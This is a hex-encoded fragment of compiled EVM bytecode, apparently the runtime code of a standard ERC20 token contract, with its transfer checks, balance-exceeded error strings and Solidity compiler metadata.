1b038216610f1f5760405162461bcd60e51b8152600401610415906112fa565b6001600160a01b03831660009081526002602052604090205481811015610f585760405162461bcd60e51b815260040161041590611393565b610f628282611260565b6001600160a01b038086166000908152600260205260408082209390935590851681529081208054849290610f98908490611273565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610fe491815260200190565b60405180910390a350505050565b600060208083528351808285015260005b8181101561101f57858101830151858201604001528201611003565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146105cc57600080fd5b803561106081611040565b919050565b6000806040838503121561107857600080fd5b823561108381611040565b946020939093013593505050565b6000806000606084860312156110a657600080fd5b83356110b181611040565b925060208401356110c181611040565b929592945050506040919091013590565b6000602082840312156110e457600080fd5b81356110ef81611040565b9392505050565b6000806040838503121561110957600080fd5b823561111481611040565b9150602083013561112481611040565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b6000806040838503121561115857600080fd5b823567ffffffffffffffff8082111561117057600080fd5b818501915085601f83011261118457600080fd5b81356020828211156111985761119861112f565b8160051b604051601f19603f830116810181811086821117156111bd576111bd61112f565b6040529283528183019350848101820192898411156111db57600080fd5b948201945b83861015611200576111f186611055565b855294820194938201936111e0565b9997909101359750505050505050565b600181811c9082168061122457607f821691505b60208210810361124457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156103815761038161124a565b808201808211156103815761038161124a565b634e487b7160e01b600052603260045260246000fd5b6000600182016112ae576112ae61124a565b5060010190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b80820281158282048414176103815761038161124a565b60008261137157634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561138857600080fd5b81516110ef81611040565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b60608201526080019056fea2646970667358221220aed21872d037c4f8d985327de2d23b2462ef86c59041d6329709033788d2a5ae64736f6c63430008130033